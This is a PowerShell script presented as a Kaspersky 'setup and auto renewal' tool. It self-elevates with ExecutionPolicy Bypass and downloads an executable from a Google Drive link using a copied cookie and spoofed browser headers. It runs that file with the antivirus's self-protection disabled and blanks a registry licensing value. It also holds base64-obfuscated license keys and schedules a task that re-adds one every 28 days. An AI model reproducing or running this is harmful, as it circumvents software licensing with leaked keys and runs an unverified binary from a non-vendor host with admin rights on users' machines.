Start-KasSetup.ps1

<#PSScriptInfo
    .VERSION 1.0.0.3
    .GUID 2f74e636-61ff-44c8-86b4-be3736e623d7
    .AUTHOR chixus
    .COMPANYNAME CHXOFT
    .COPYRIGHT CHXOFT ©2026. All rights reserved.
    .TAGS kaspersky, setup, automation
    .LICENSEURI
    .PROJECTURI
    .ICONURI
    .EXTERNALMODULEDEPENDENCIES
    .REQUIREDSCRIPTS
    .EXTERNALDETAILS
    .DESCRIPTION In this version fixed Standard licence.
.#>


<#
.SYNOPSIS
    Kaspersky setup tool
#>


#Requires -RunAsAdministrator

if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
{ Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs; Exit }

#region Variables
$VerbosePreference = 'SilentlyContinue'
$WarningPreference = 'SilentlyContinue'
$InformationPreference = 'SilentlyContinue'
$ProgressPreference = 'SilentlyContinue'
Set-Location -Path $PSScriptRoot
$k1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R0FKUFUtVVREMTgtM0IySkotNjJDUTI='))
$k2 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R0U4NkYtOVdRUk0tS0s1UEctMVpFMlc='))
$k3 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('NUFQNTUtVUZBVDEtUVVNTk4tN0NVRFo='))
$taskName = "Kaspersky License Renewal"
$avpCom = ""
$editionName = ""
$licenseKey = ""
$LicType = ""
[boolean]$ReInstall = $false
#endregion Variables

#region WindowSize
$pshost = Get-Host
$window = $pshost.UI.RawUI
try
{
    $width = 65
    $height = 50
    $buffer = $window.BufferSize
    $windowSize = $window.WindowSize
    if ($buffer.Width -lt $width) { $buffer.Width = $width }
    if ($buffer.Height -lt $height) { $buffer.Height = $height }
    $window.BufferSize = $buffer
    $windowSize.Width = $width
    $windowSize.Height = $height
    $window.WindowSize = $windowSize
}
catch { Write-Host "Window resized."; Start-Sleep -Seconds 3 }
Write-Host "$([char]27)[3J$([char]27)[H$([char]27)[2J" -NoNewline
[Console]::Clear()
#endregion WindowSize

#region InFront
Add-Type -Name "Win32TopMost" -Namespace "Win32Functions" -MemberDefinition @"
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetConsoleWindow();
    [DllImport("user32.dll")]
    [return: MarshalAs(UnmanagedType.Bool)]
    public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
"@
 -PassThru | Out-Null
$HWND_TOPMOST = [IntPtr] - 1
$SWP_NOMOVE = 0x0002
$SWP_NOSIZE = 0x0001
$consolePtr = [Win32Functions.Win32TopMost]::GetConsoleWindow()
if ($consolePtr -ne [IntPtr]::Zero) { [Win32Functions.Win32TopMost]::SetWindowPos($consolePtr, $HWND_TOPMOST, 0, 0, 0, 0, $SWP_NOMOVE -bor $SWP_NOSIZE) | Out-Null }
#endregion InFront

#region Fuctions
function Show-Logo
{
    [CmdletBinding()]
    [OutputType([string])]
    param ()
    
    Clear-Host
    Write-Host "`n`t#===============================================#`t" -BackgroundColor Blue -ForegroundColor Yellow
    Write-Host "`t# Kaspersky auto renewal by CHXOFT (c)2026. #`t" -BackgroundColor Blue -ForegroundColor Yellow
    Write-Host "`t#===============================================#`t" -BackgroundColor Blue -ForegroundColor Yellow
    Write-Host "`t Detected Kaspersky setup version: $majorVersion`t`t`t`n" -BackgroundColor Blue -ForegroundColor Cyan
}
function Get-UserChoice
{
    [OutputType([string])]
    param ()
    
    while ($true)
    {
        Show-Logo
        $renewal = Read-Host -Prompt "`tDo you want automatic license renewal? (y/n)"
        if ($renewal -eq 'y' -or $renewal -eq 'n') { return $renewal }
        Write-Host "`t Please type (Y)es or (N)o then press enter." -ForegroundColor DarkGray
    }
}
#endregion Functions

#region StartupCheck
$SetupPath = "$env:TEMP\premium.exe"
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36"
$session.Cookies.Add((New-Object System.Net.Cookie("NID", "CuQBCAESlgEBM9Agl-gDl4-DeMTmIZPIlj0tma2rjXlgLxtRLjjc1XRAR0Dl-diAXdFQjZZc8O2whDkLHfFG1idaGcbhojrRRV_awiBp9DxSgGE8259905gA-0AX3icKnxRU7mzTqSnTs_bdmCIH_krmevnRRbb48UDiKU4Yh9XtzTv4iiYtJDGIng9AqP4j6W5xuNBmYIkjZr4IFNcoATJFAXBKQs9IjHmIeG1gUlZvAdhCLIB6NDADZ3PRaEE9TRqYjFcjCGkABbBxVIPPt0XJaITbcD0apAZUT9JmymzOEhJ4ruMJ", "/", ".google.com")))
Invoke-WebRequest -UseBasicParsing -Uri "https://drive.usercontent.google.com/download?id=1Ht9vfo_aX-JcF0-JUtAHOk31oznuMTZx&export=download&confirm=t&uuid=047b0b75-99a4-4515-bd04-42f8fbb121cf" -OutFile $SetupPath `
                  -WebSession $session `
                  -Headers @{
    "authority"                        = "drive.usercontent.google.com"
    "method"                        = "GET"
    "path"                            = "/download?id=1Ht9vfo_aX-JcF0-JUtAHOk31oznuMTZx&export=download&confirm=t&uuid=047b0b75-99a4-4515-bd04-42f8fbb121cf"
    "scheme"                        = "https"
    "accept"                        = "text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8"
    "accept-encoding"                = "gzip, deflate, br, zstd"
    "accept-language"                = "en-US,en;q=0.6"
    "priority"                        = "u=0, i"
    "sec-ch-ua"                        = "`"Not:A-Brand`";v=`"8`", `"Chromium`";v=`"156`", `"Brave`";v=`"156`""
    "sec-ch-ua-arch"                = "`"x86`""
    "sec-ch-ua-bitness"                = "`"64`""
    "sec-ch-ua-full-version-list"    = "`"Not:A-Brand`";v=`"8.0.0.0`", `"Chromium`";v=`"156.0.0.0`", `"Brave`";v=`"156.0.0.0`""
    "sec-ch-ua-mobile"                = "?0"
    "sec-ch-ua-model"                = "`"`""
    "sec-ch-ua-platform"            = "`"Windows`""
    "sec-ch-ua-platform-version"    = "`"19.0.0`""
    "sec-ch-ua-wow64"                = "?0"
    "sec-fetch-dest"                = "document"
    "sec-fetch-mode"                = "navigate"
    "sec-fetch-site"                = "cross-site"
    "sec-fetch-user"                = "?1"
    "sec-gpc"                        = "1"
    "upgrade-insecure-requests"        = "1"
}
if (Test-Path -Path $SetupPath)
{
    $fullVersion = (Get-Item $SetupPath).VersionInfo.ProductVersion
    $majorVersion = ($fullVersion -split '\.')[0 .. 1] -join '.'
}
else
{
    Write-Host "File not downloaded !" -ForegroundColor Red
    Start-Sleep 5
    exit
}
$tsk = Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue
if ($tsk)
{
    $Argum = $tsk.Actions.Arguments
    if ($Argum -match '/add\s+(.*)')
    {
        $licence = $Matches[1].Trim()
        if ($licence -eq $k1) { $LicType = "Standard" }
        elseif ($licence -eq $k2) { $LicType = "Plus" }
        elseif ($licence -eq $k3) { $LicType = "Premiun" }
        else { $licence = "unknown"; $LicType = "unknown" }
    }
    $licence = $null
    $LicType = $null
}
$Installed = Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*, HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object { $_.DisplayName -like "*Kaspersky*" } | Select-Object DisplayName, DisplayVersion, InstallDate
if ($Installed)
{
    $ReInstall = $true
    $name = $Installed.DisplayName[0]
    $instver = ($Installed.DisplayVersion[0] -split '\.')[0 .. 1] -join '.'
    if ($instver -eq $majorVersion)
    {
        Write-Host "Same version ($instver) is already installed." -ForegroundColor Yellow
        Write-Host "If repairing the installation fails,`nfirst remove the old version." -ForegroundColor Blue
        if ($LicType -and ($LicType -ne "Unknown"))
        {
            Write-Host "Autorenewal licence found type:" -ForegroundColor Yellow
            write-host "Kaspersky $LicType" -ForegroundColor Blue
        }
        Write-Host "`nPress any key..." -ForegroundColor DarkGray
        $null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
    }
    elseif ($instver -lt $majorVersion)
    {
        Clear-Host
        Write-Host " $name version $instver is already installed ! `n" -ForegroundColor Red -BackgroundColor Black
        if ($LicType -and ($LicType -ne "Unknown"))
        {
            Write-Host "Autorenewal licence found type:" -ForegroundColor Yellow
            write-host "Kaspersky $LicType" -ForegroundColor Blue
        }
        Write-Host "`nPress any key..." -ForegroundColor DarkGray
        $null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
    }
    else
    {
        if (Test-Path -Path $SetupPath) { Remove-Item -Path $SetupPath -Force -ErrorAction SilentlyContinue }
        Write-Host "You already have newer version $instver." -ForegroundColor Red
        Write-Host "If you want to install this version`nfist uninstall current installed.1`n"
        Write-Host "Setup will close automatically in 10 seconds." -ForegroundColor DarkGray
        Start-Sleep -Seconds 10
        exit
    }
    Write-Host "$([char]27)[3J$([char]27)[H$([char]27)[2J" -NoNewline
    [Console]::Clear()
}
#endregion StartupCheck

#region LicenceSet
$renewal = Get-UserChoice
if ($renewal -eq 'y')
{
    while ($true)
    {
        Show-Logo
        Write-Host "`n`tSelect licence version:`t`t`t`t`n"
        Write-Host "`t`t1. Standard" -ForegroundColor Green
        Write-Host "`t`t2. Plus" -ForegroundColor Green
        Write-Host "`t`t3. Premium" -ForegroundColor Green
        Write-Host "`t`tC. To cancel setup." -ForegroundColor Red
        $edition = Read-Host "`n`tEnter your choice (1 - 3)"
        switch ($edition)
        {
            "1" { $editionName = "Kaspersky Standard"; $licenseKey = $k1; break }
            "2" { $editionName = "Kaspersky Plus"; $licenseKey = $k2; break }
            "3" { $editionName = "Kaspersky Premium"; $licenseKey = $k3; break }
            "c" {
                if (Test-Path -Path $SetupPath)
                {
                    Remove-Item -Path $SetupPath -Force -ErrorAction SilentlyContinue
                }
                Write-Host "`t`t`t`t`t`t`n`t`tInstallation canceled !" -ForegroundColor Red
                Start-Sleep -Seconds 3
                exit
            }
            default { Write-Host "`tInvalid choice, please try again." -ForegroundColor DarkGray }
        }
        if ($licenseKey) { break }
    }
    if ($licence -and $licence -ne "unknown") { Write-Host "`n`tPrevious autorenewal licence was $LicType." -ForegroundColor Yellow }
    Write-Host "`t`t`t`t`t`t`n`tSelected version: $editionName`n" -ForegroundColor Green
}
#endregion LicenceSet

#region Installation
if (Get-Process -Name "avp" -ErrorAction SilentlyContinue) { Write-Host "`tExit from Kaspersky to start installation.`n" -ForegroundColor Red }
While (Get-Process -Name "avp" -ErrorAction SilentlyContinue) { Start-Sleep -Seconds 2 }
Write-Host "Starting installation with self-protection disabled." -ForegroundColor Yellow
Start-Process -FilePath $SetupPath -ArgumentList "/pSelfProtection=0"
Write-Host "When installation window appear click on 'Continue', etc" -ForegroundColor DarkCyan
Start-Sleep -Seconds 3
#endregion Installation

#region Registry
Write-Host "Monitoring and updating registry values..." -ForegroundColor Yellow
$regPath = "HKLM:\SOFTWARE\WOW6432Node\KasperskyLab\AVP$majorVersion\environment"
while ($true)
{
    if (Test-Path -Path $regPath)
    {
        $val = Get-ItemProperty -Path $regPath -Name "ProductStatus" -ErrorAction SilentlyContinue
        if ($null -ne $val)
        {
            Set-ItemProperty -Path $regPath -Name "ProductStatus" -Value ""
            Write-Host "`nRegistry key successfully modified !`n" -ForegroundColor Green
            break
        }
    }
    Start-Sleep -Seconds 2
}
#endregion Registry

#region AutoRenewal
if ($renewal -eq 'y')
{
    Write-Host "Locating 'avp.com'..." -ForegroundColor Yellow
    while (-not $avpCom)
    {
        $avpFiles = Get-ChildItem -Path "c:\Program Files (x86)\Kaspersky Lab" -Filter "avp.com" -Recurse -ErrorAction SilentlyContinue |
        ForEach-Object {
            [PSCustomObject]@{
                Path           = $_.FullName
                ProductVersion = $_.VersionInfo.ProductVersion
                FileVersion    = $_.VersionInfo.FileVersion
            }
        }
        foreach ($file in $avpFiles)
        {
            if (($File.FileVersion -eq $fullVersion) -and ($File.Path -notlike "*VPN*") -and ($File.Path -notlike "*Password*"))
            { $avpCom = $($file.Path) }
            else { Start-Sleep -Seconds 5 }
        }
    }
    Write-Host "'avp.com' version $($file.Version) at:" -ForegroundColor Yellow
    Write-Host "$avpCom" -ForegroundColor DarkYellow
    Write-Host "`n'avp.com' located successfully !`n" -ForegroundColor Green
    $action = New-ScheduledTaskAction -Execute "$avpCom" -Argument "LICENSE /add $licenseKey"
    $trigger = New-ScheduledTaskTrigger -Daily -At 9:00AM -DaysInterval 28
    $settings = New-ScheduledTaskSettingsSet -StartWhenAvailable -AllowStartIfOnBatteries:$false -RunOnlyIfNetworkAvailable
    Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null
    
    if (!$ReInstall)
    {
        Write-Host "Waiting for Kaspersky to start up in the background..." -ForegroundColor Yellow
        while (!(Get-Process -Name "avp" -ErrorAction SilentlyContinue)) { Start-Sleep -Seconds 5 }
    }
    else
    {
        Write-Host "Reboot computer if reinstall is done and Kaspersky is asking it." -ForegroundColor Yellow
        Start-Sleep 15
    }
    Start-ScheduledTask -TaskName $taskName
    Write-Host "`nLicense task successfully created and started !`n" -ForegroundColor Green
}
#endregion AutoRenewal

#region Finish
if (Test-Path -Path $SetupPath) { Remove-Item -Path $SetupPath -Force -ErrorAction SilentlyContinue }
Write-Host "`tThe process has been successfully completed !`n" -ForegroundColor Cyan
Write-Host "`t`tPress any key to exit..."
$null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
#endregion Finish
# SIG # Begin signature block
# MIIbiwYJKoZIhvcNAQcCoIIbfDCCG3gCAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCaKTKe93Iqj3D8
# iX/ssKlOhScX3ktPG6alkEkJbH0496CCFbcwggMRMIIB+aADAgECAhAf99Xez+fz
# okpasJRGfq0lMA0GCSqGSIb3DQEBCwUAMBUxEzARBgNVBAMMCkNIWE9GVGNlcnQw
# HhcNMjYxMTAxMDg1MTAyWhcNMjcxMTAxMDkxMTAyWjAVMRMwEQYDVQQDDApDSFhP
# RlRjZXJ0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAs577pQh1AlKF
# 1PhdflPXDbQ4JVbHM5Aky/l57OKCey+rPdQOC3I6/j/CIug+FyoeMn3VZWxPEKIu
# H8EnQ56uxkowPBs5izZar8KvEdJKLCjrxb+oYg5G6OZRy3in3twjl/Eo3/0h4kJs
# dDT5ULFBkNiQK1fcd2meagGJB3X8fB/xqyx3FFUCrO2A9VUnVnsvHkjIv99Q8Ij4
# vmGyl2u5061d+bO+gIu6wEoR4vNOtwls4asK9pdiwJqngBPQUmo+Q6EY7Onr7cg2
# SW+6x26x8n32N5oMJuOFUPUNL6QpDvHtzhM1HorLe/wiqz88GDSMa8j1R4WS2Rc0
# e+04q/4+LQIDAQABo10wWzAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYB
# BQUHAwMwFQYDVR0RBA4wDIIKQ0hYT0ZUY2VydDAdBgNVHQ4EFgQUZDtfQJHt5YWW
# Hwk69LmAM3bwpyQwDQYJKoZIhvcNAQELBQADggEBAGpxwCFfsKLrcftpJPFhUziH
# 2SufmB+ccE0JI4Lho6R3UnswPyyih9/fbW3HmSabhdKuTXIgefdZ8gyvHz4kYzG+
# SLTD7ObjeTo7ZwKI8xzzLEBMEd6Zr3lTF0UHuCykHhNG6wmHSSz/9WYj6IN76gdH
# uwdfHcuO/5a61dzBjHGU+9dMx8+IEofQkJa0vLx+jYhCM5IZln4Uuq8GVKYFIiA2
# yfPRRmML4dWbFeIIJN9gl7nvP2yDMmzIH9allEGjvf+j8e52hKzX/wXYUW56+knp
# lO4C4eyQwvUGQ/RWbju4q270PKmG7A05x6ja6kvhbb73nagCuqMsRSjWn2IK0KAw
# ggVyMIIDWqADAgECAhB2U/65Pdnn6SYyrNYKvqw4MA0GCSqGSIb3DQEBDAUAMFMx
# CzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMSkwJwYDVQQD
# EyBHbG9iYWxTaWduIFRpbWVzdGFtcGluZyBSb290IFI0NTAeFw0yMDAzMTgwMDAw
# MDBaFw00NTAzMTgwMDAwMDBaMFMxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i
# YWxTaWduIG52LXNhMSkwJwYDVQQDEyBHbG9iYWxTaWduIFRpbWVzdGFtcGluZyBS
# b290IFI0NTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBALp0M+wn3BI4
# IRvF02Eo1lq8T9+LzJGEQyRXvGQhvDscHz1PjK0Ht/PF1wLpERSCmqq0lHI7cQ0a
# 72hrhXmOr2bqWJgNusF8edL/zbNvMUXQBXQEAHJqJ364Nz86iO2Xg/WrNU0Pn1k7
# 9S/fWcV8pTJ2YJbI7e74BH4ZUXKov0RBerx7HjsAm7y64Ja/kP6Nm8NyiwAS+CA6
# YDj3wcyFivuHeS6hKyDmy6CFkSO2xCgHVCje7BAxT4ryzRQfHt1VHOooMUz5IWqo
# zfOWZ/oBQZvNDwtof7ve8UPqF+Ww3HAis2k2WXRrxuWJKnzlC4Fdqz+PuNF2cvN8
# oqnil0G/zIxF/mHJ9mwHCwAE6BUjT4IqLfbvw/oRNkih0f16OTo0XaMsDpt3UCA0
# QN2xAzGtX+lih3OWA2H3lLDZXGxP5xTF4fF7DSOczXCMHWreSi2LKrvbQhQFB6r7
# FNwx0/YfbMu+aGZEcE1tF/lx6wVzjpGSdetoXB72RGEYKWLdF2aI7Ci6SW/bPnf+
# uTEfdRwYoqZHvdjuSIU7/bPiDz8qmMaa+oJvsaWlhh1aOvqkbHQPd1Jhan+HKd45
# m4vus0VgMCSXFRIqhTCTJqyWpi3ocG0LqTKtLJsoCnZC8lVhUZiU3u32xRdvPBUQ
# sA6tsN7FFvRl0cwvWlYIz5nE8FWRwix5AgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIB
# hjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRGshx34XsV8KU5oXDe0cQu6m2y
# 3jANBgkqhkiG9w0BAQwFAAOCAgEAFnwKZ0oDPJMqPhxPRlWwmp6I4etT/UxVeYT5
# bLafqQq2iatUBxQWSkla9LguhhTEfhmJ+YeIvOyy0pWM4Az58pRmpphXG6Hf0XF9
# jLX4cQLdE7a++rAxwyxn6xoYDhpN3CzPMVxhKKmd42osrlBLDjrQafuKNETffkuO
# GpAJ2jHayi+l9/Q3LDUNGmLNPHs8VndllVyUc3CfYS9pZCMdTHkHwhd8Ou2qbXED
# FGJFzLc+VNhRcULqO5JCpS9UgaOwDFZYVrvkmO5mxxH5qEUX4mUqit7iqM7FLfb1
# zq3w4woJ3VN7bKlshn6h3jY1AA9fgP1Fu3FmQ9RELNC7AU6Znj5N4V5WHwV6gh2y
# yy2lM7k55cS32kLhvdCUQoD6GJQ7k0OoyJQ6bX6d/E+gwtPlpaoQJm8GIlvgAeJK
# vxnlRJ6wrasZ0s3rR8RigezwwnqNTP3CJbe8LHCOqq1S9BQ8qngdBNPJ1SWCp1rL
# jHwfVwI7hxvI1/lUGh3KGksnseJK7+eaQBRPpTyf1aO+lDWcwtc/KO6kFytDvWSn
# 16/pU+endx7FEhsx4kvGf54c7qM6lFBdplAGUl5FAyu0AODB7dgNwa67SQmBglpC
# Q6+ZY7gU0TyL3dXwVO1yZ8L2yj41hIeADVKVUEHWsg0ZQC+2E033sWDUdsVXOW5a
# ol4KedwwggaEMIIEbKADAgECAhEAhHI/uDAN+6h1sztXzCY3gjANBgkqhkiG9w0B
# AQwFADBeMQswCQYDVQQGEwJCRTEZMBcGA1UEChMQR2xvYmFsU2lnbiBudi1zYTE0
# MDIGA1UEAxMrR2xvYmFsU2lnbiBPZmZsaW5lIFI0NSBUaW1lc3RhbXBpbmcgQ0Eg
# MjAyNTAeFw0yNTEwMTUwNzI0NTZaFw0zNzAxMTAwMDAwMDBaMF0xCzAJBgNVBAYT
# AkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMTMwMQYDVQQDEypHbG9iYWxz
# aWduIFI0NSBUU0EgZm9yIEF1dGhlbnRpY29kZSAyMDI1MTAwggGiMA0GCSqGSIb3
# DQEBAQUAA4IBjwAwggGKAoIBgQCjmqJvQvM6Y41tocmjem0nnXXi0ipR6VZA32Oz
# Se431aOpo+JYE0vkA7Ez92vS2bFWiFLgKG7PhbZTonchZH54oXX1lpG2L7erKUrI
# atgVpOF0SdGUn4QHWKfQiuroFIYYvuQAY6+JUa8fiGWe8Uvg3leGzBDeXUdrexd1
# Q4JDkCJeFk9xyrrTEImMQQYt0AFYkhEpTSaTeeAkaPtfyvJaoLFNSsD/+HLaIJjk
# 6xys0DjL6TrGu8VHemCWGB00ABNsgOfAHKvEuntXJpimutSljTDG7FzUONE2GspX
# 5d/YMrvse6PzwYx6baLhYKZKulT8bapuXlZvM03/nD2KKDUpjXCDcusfOzdzpF0m
# H+IctH1KORzuokuJ0fdBDNPxMqZlfjB4ktvmXXv9nndMXND9Y73r0fcxIKNEiw8k
# Lm6YGnvQQrsITcYR8Va2C9iKDSFWZqTebzVUEojXMbktxnFti3dxCYmFlloI69xO
# M5ogdtjATNDys4RcIcB7yu9bUYkCAwEAAaOCAbwwggG4MA4GA1UdDwEB/wQEAwIH
# gDAWBgNVHSUBAf8EDDAKBggrBgEFBQcDCDAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
# BBSkW0WuCT/0JQE+2FNRAmnzkAjYFjAfBgNVHSMEGDAWgBR3AjsBMQ8edHfDSMjD
# B2NViKU7ojCBpQYIKwYBBQUHAQEEgZgwgZUwQgYIKwYBBQUHMAGGNmh0dHA6Ly9v
# Y3NwLmdsb2JhbHNpZ24uY29tL2dzb2ZmbGluZXI0NXRpbWVzdGFtcGNhMjAyNTBP
# BggrBgEFBQcwAoZDaHR0cDovL3NlY3VyZS5nbG9iYWxzaWduLmNvbS9jYWNlcnQv
# Z3NvZmZsaW5lcjQ1dGltZXN0YW1wY2EyMDI1LmNydDBKBgNVHR8EQzBBMD+gPaA7
# hjlodHRwOi8vY3JsLmdsb2JhbHNpZ24uY29tL2dzb2ZmbGluZXI0NXRpbWVzdGFt
# cGNhMjAyNS5jcmwwTAYDVR0gBEUwQzBBBgkrBgEEAaAyAR4wNDAyBggrBgEFBQcC
# ARYmaHR0cHM6Ly93d3cuZ2xvYmFsc2lnbi5jb20vcmVwb3NpdG9yeS8wDQYJKoZI
# hvcNAQEMBQADggIBAHDMxdBqZT5JCFmJtcGnfU2pUgXgj/PSRkPSjNwXLbTkOFtQ
# C7xhWIf5zzbKkOQffCTYsutUH9PbVUFx+OoNL2naiuYwwEJIms4HZYGej0dyRnNJ
# SCl08KQf2zvKehfhFlL9QEv0zYMlVz6GkpvMI2atBaGShJMdtOTz8kWGaGJfkc+n
# 6GIHw9zdxfXMctM3640MGjHLMnq2SZ6+BqVRYo3EIekgJiP2Wsn5tW8EOTEGCv35
# t8W5qYBTArZIdbp0S3MennmZ95MAk0g5Fz/3lX6H5AzzAWDC2lXURUHXN7imjenF
# xaNJ8BmjioS/KScRCqp/zIOY2wGaAfuqD9rg0RuCdL7hC4Sosv7mFm934DImH+fI
# 3DpGnyVc5tI29qGtLbdCbr4XL3SDHbAAurzqLvSn5BgxwANlw7o1AAGWpsaH3YHN
# othejtGULq8yKSoaMuAl7goLl1+IDkT+4Qix4thwPZ7hFsv+MezhMZT3U6zHc75L
# 7Z0SXrkfYdkAOBUskRN5dkO9R7hYE6I3pnCZV/2YgGO8fC3h/oYdZxaDllhqSN2h
# b54cp63nFHORQAk//AJEJxf1CLIH1YI4vBFaZPJw9ouEs7qC3UmBpPzGxf3t5V9o
# lezqaQxLNSTP6377opbIo5y3MBWjOjXU32uXgG08ldVblXJBNX5snTn1MYuhMIIG
# oDCCBIigAwIBAgIRAIPahje3nwyEDJR7hApSeB8wDQYJKoZIhvcNAQEMBQAwUzEL
# MAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExKTAnBgNVBAMT
# IEdsb2JhbFNpZ24gVGltZXN0YW1waW5nIFJvb3QgUjQ1MB4XDTI1MDcxNjAzMDUw
# NFoXDTQxMDcxNjAwMDAwMFowXjELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2Jh
# bFNpZ24gbnYtc2ExNDAyBgNVBAMTK0dsb2JhbFNpZ24gT2ZmbGluZSBSNDUgVGlt
# ZXN0YW1waW5nIENBIDIwMjUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoIC
# AQCkdxb47X2L4t0ChkVjNL7lf5Zi+dagWpcB+KvWHKeFRN0fhFbUNv7I6atDbvmO
# WxDpvOhnec3QIydxlfgTRCGmnpC/Hbv5+Wl/N4xBpwPtVyJZSIXdMuK7vBPZsEJI
# Q1SfeF8Ywbg8m9gW87mjgMDWI28eEbihLNy2h2gl9vhzwSNVqELD80uLMHetr41Z
# 7aBkFJpkqtozEW3rvrKrHtFxCeNsXhHQ4sai+xm3be9Tr0DkF2g/F0D3O72sz6pM
# Gw8NVQl7FjARVTQZjsEnmZRZaeLIA8dbRa/gDOTm3sjRdQiMDf7Y4aSvR1UFdUEP
# IR4YFWthcR2F9UvC6HocEYkV0isRjkqgaWmhP7gEFB7hcIfmy/XlSj4zvZUpaM8D
# kTHed8UkLg/kVbVJHqiUJJoiu2dnNz7OCalLKIP4ZwTa51BFAdsOLvh6deBrOTT6
# S2kdnVnyhO9JpIhESi9dItsfcoLy4UiRe5yXtc8ftkYiuYX14XjO6ijkUhSey9Xr
# SQuoUPM+T5RsuaBkNQI+UUUEF6Fpo2+LETKbH043Ypd6/4x8ro5kKGoZus4LbC+8
# AUfIqVNltUd2o2K7S7lrZPUL11JNGfLX+HEvBzEv0FY/NAvCGyLJepTMzu4PSUP3
# 49gxrFRiChVLGpvjG88KJWos1psj5a2MTNh9DQ/7q0FMWwIDAQABo4IBYjCCAV4w
# DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMIMBIGA1UdEwEB/wQI
# MAYBAf8CAQAwHQYDVR0OBBYEFHcCOwExDx50d8NIyMMHY1WIpTuiMB8GA1UdIwQY
# MBaAFEayHHfhexXwpTmhcN7RxC7qbbLeMIGOBggrBgEFBQcBAQSBgTB/MDcGCCsG
# AQUFBzABhitodHRwOi8vb2NzcC5nbG9iYWxzaWduLmNvbS90aW1lc3RhbXByb290
# cjQ1MEQGCCsGAQUFBzAChjhodHRwOi8vc2VjdXJlLmdsb2JhbHNpZ24uY29tL2Nh
# Y2VydC90aW1lc3RhbXByb290cjQ1LmNydDA/BgNVHR8EODA2MDSgMqAwhi5odHRw
# Oi8vY3JsLmdsb2JhbHNpZ24uY29tL3RpbWVzdGFtcHJvb3RyNDUuY3JsMBEGA1Ud
# IAQKMAgwBgYEVR0gADANBgkqhkiG9w0BAQwFAAOCAgEAMqPuftFu5GYxllheqUw9
# EmhHpfWf/+q5cYtV86kWhH1hrTkv3jDTLAGN6XIYZ/6cAH4JkVDuBQ53ZrZul+lb
# xfDkCsz5iM8R/wC0LgTpivXTlTVg2OVNIRGhYkpzWGRI3mbh2mxi14XKTMVBXBfn
# SFgoffJnpVy7odrQQDmh/MumLaMraNtEMJdsU0uLmY7XEpF0HYDMAXR/kLTRvgfd
# 3mwI4HyeNO8DBpMwYQx5OQtYzhn1j7dQ606mjVC7FdsOldWQtetobbmIvVW2+PEQ
# DLjnfidQg0H3CE5GJwklJMttrp84rZ//VAZYR17BYscDMT43mgfRCg1EAuknkmMh
# 94ie876xB0GJ2c+4son3kdOPtfIy8mEVmO1sckaURbHhSApy40osMtdYAt/BAM3Y
# N7LeRN93jLDidB2TU9y0ssrcXgvaecu/3gEySlj5F+Xneg4Q3jJO+3AJg/5UO5mu
# S1zs1pyhNXFmcoaS/xrVqRyR07BBkL6LwDLVXLMwBf9Nvj6vdzrkHtykC2rc6hSK
# NdQmC9nFyLpNfvyyYvZNjLa1af7wbiSude/LYQtHZdicoQ5LgxWatIKyMzmfFKuC
# ETXRUNdBsR9r3eWGKR8Wgi4g0rNYMuq+7xm5ybES5/GkeM2edFVdf9m/kpCrym78
# xCg7PoMLvifn47ltLC9PmyAxggUqMIIFJgIBATApMBUxEzARBgNVBAMMCkNIWE9G
# VGNlcnQCEB/31d7P5/OiSlqwlEZ+rSUwDQYJYIZIAWUDBAIBBQCgTDAZBgkqhkiG
# 9w0BCQMxDAYKKwYBBAGCNwIBBDAvBgkqhkiG9w0BCQQxIgQgiDGDB238m4Cx1Tec
# pc4/3pqzGXbXQO4DawDcB5xxBTswDQYJKoZIhvcNAQEBBQAEggEAgYFb4XJopdwY
# M7YkUSb2JKIln/ver6tXf8GShS9+pOTG+FTiQ9b8SNgIZcysRqRKSPoGWoPNDomh
# cjdwgNw28okVDSBndH+jXadpTyMtzsWTotx+fANneoGc8GlpjBUfRUmaaFIruCeo
# HkLuZGZICrSE6XySNR++IoGh6BoDNnTtMcpXLAdXm3AexqV7CEmKEj9S+ZA/XmEa
# 3dk4sGhGRWf18aeS6bsjs1wL1vaFj51aYa/rE0Ld4UEuYYnKRh0XrUY6DFNTVVQM
